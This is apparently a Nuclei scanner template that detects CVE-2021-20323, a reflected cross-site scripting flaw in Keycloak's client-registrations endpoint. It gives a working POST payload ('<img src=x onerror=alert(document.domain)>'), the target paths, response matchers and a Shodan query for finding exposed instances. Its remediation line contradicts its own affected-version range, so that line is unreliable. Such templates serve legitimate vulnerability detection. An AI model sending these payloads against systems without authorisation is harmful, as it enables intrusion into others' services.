65 lines
2.8 KiB
YAML
65 lines
2.8 KiB
YAML
id: CVE-2021-20323
|
|
|
|
info:
|
|
name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
|
|
author: ndmalc,incogbyte
|
|
severity: medium
|
|
description: |
|
|
Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
|
|
remediation: |
|
|
Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher).
|
|
reference:
|
|
- https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
|
|
- https://bugzilla.redhat.com/show_bug.cgi?id=2013577
|
|
- https://access.redhat.com/security/cve/CVE-2021-20323
|
|
- https://github.com/ndmalc/CVE-2021-20323
|
|
- https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20323
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-20323
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00173
|
|
epss-percentile: 0.53461
|
|
cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 4
|
|
vendor: redhat
|
|
product: keycloak
|
|
shodan-query: html:"Keycloak"
|
|
tags: cve2021,cve,keycloak,xss,redhat
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/auth/realms/master/clients-registrations/default"
|
|
- "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
|
|
- "{{BaseURL}}/realms/master/clients-registrations/default"
|
|
- "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
|
|
|
|
body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
|
|
stop-at-first-match: true
|
|
|
|
headers:
|
|
Content-Type: application/json
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 400
|
|
# digest: 4a0a0047304502210094de0f55e8db0485dedb6be0b0faaa6737f8e5b40905c4c59b87598da6efa7c502203624957dc717497acf2a1ab8c0aee02060f4b9fc6fd22b24111abb850f2b07ab:922c64590222798bb761d5b6d8e72950 |